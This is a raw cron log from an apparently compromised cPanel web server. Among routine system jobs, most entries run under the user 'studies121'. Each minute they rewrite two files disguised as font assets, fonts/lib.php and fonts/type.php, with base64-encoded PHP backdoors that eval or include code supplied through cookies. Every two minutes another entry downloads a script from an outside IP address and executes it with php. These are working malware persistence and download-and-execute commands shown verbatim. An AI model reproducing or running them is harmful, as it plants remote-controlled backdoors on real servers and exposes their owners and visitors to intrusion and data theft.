Sep  7 14:40:01 ip-184-168-122-23 CROND[12758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:40:01 ip-184-168-122-23 CROND[12761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:40:01 ip-184-168-122-23 CROND[12756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:41:01 ip-184-168-122-23 CROND[12908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:41:01 ip-184-168-122-23 CROND[12907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:41:01 ip-184-168-122-23 CROND[12909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:41:01 ip-184-168-122-23 CROND[12910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:42:01 ip-184-168-122-23 CROND[13054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:42:01 ip-184-168-122-23 CROND[13055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:42:01 ip-184-168-122-23 CROND[13056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:42:01 ip-184-168-122-23 CROND[13057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:42:01 ip-184-168-122-23 CROND[13058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:43:01 ip-184-168-122-23 CROND[13190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:43:01 ip-184-168-122-23 CROND[13192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:43:01 ip-184-168-122-23 CROND[13189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:43:01 ip-184-168-122-23 CROND[13191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:44:01 ip-184-168-122-23 CROND[13276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:44:01 ip-184-168-122-23 CROND[13280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:44:01 ip-184-168-122-23 CROND[13277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:44:01 ip-184-168-122-23 CROND[13278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:44:01 ip-184-168-122-23 CROND[13279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:45:01 ip-184-168-122-23 CROND[13453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:45:01 ip-184-168-122-23 CROND[13457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:45:01 ip-184-168-122-23 CROND[13455]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:45:01 ip-184-168-122-23 CROND[13456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:45:01 ip-184-168-122-23 CROND[13454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:45:01 ip-184-168-122-23 CROND[13459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:46:02 ip-184-168-122-23 CROND[13546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:46:02 ip-184-168-122-23 CROND[13548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:46:02 ip-184-168-122-23 CROND[13551]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 14:46:02 ip-184-168-122-23 CROND[13549]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:46:02 ip-184-168-122-23 CROND[13552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:46:02 ip-184-168-122-23 CROND[13553]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 14:46:02 ip-184-168-122-23 CROND[13550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:47:01 ip-184-168-122-23 CROND[13677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:47:01 ip-184-168-122-23 CROND[13679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:47:01 ip-184-168-122-23 CROND[13680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:47:01 ip-184-168-122-23 CROND[13678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:48:01 ip-184-168-122-23 CROND[13769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:48:01 ip-184-168-122-23 CROND[13771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:48:01 ip-184-168-122-23 CROND[13772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:48:01 ip-184-168-122-23 CROND[13776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:48:01 ip-184-168-122-23 CROND[13777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:49:01 ip-184-168-122-23 CROND[13876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:49:01 ip-184-168-122-23 CROND[13877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:49:01 ip-184-168-122-23 CROND[13878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:49:01 ip-184-168-122-23 CROND[13879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:50:02 ip-184-168-122-23 CROND[14077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:50:02 ip-184-168-122-23 CROND[14078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:50:02 ip-184-168-122-23 CROND[14082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:50:02 ip-184-168-122-23 CROND[14083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:50:02 ip-184-168-122-23 CROND[14081]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 14:50:02 ip-184-168-122-23 CROND[14084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:50:02 ip-184-168-122-23 CROND[14085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:50:02 ip-184-168-122-23 CROND[14086]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:50:02 ip-184-168-122-23 CROND[14087]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:51:01 ip-184-168-122-23 CROND[14191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:51:01 ip-184-168-122-23 CROND[14192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:51:01 ip-184-168-122-23 CROND[14193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:51:01 ip-184-168-122-23 CROND[14194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:52:01 ip-184-168-122-23 CROND[14311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:52:01 ip-184-168-122-23 CROND[14312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:52:01 ip-184-168-122-23 CROND[14313]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
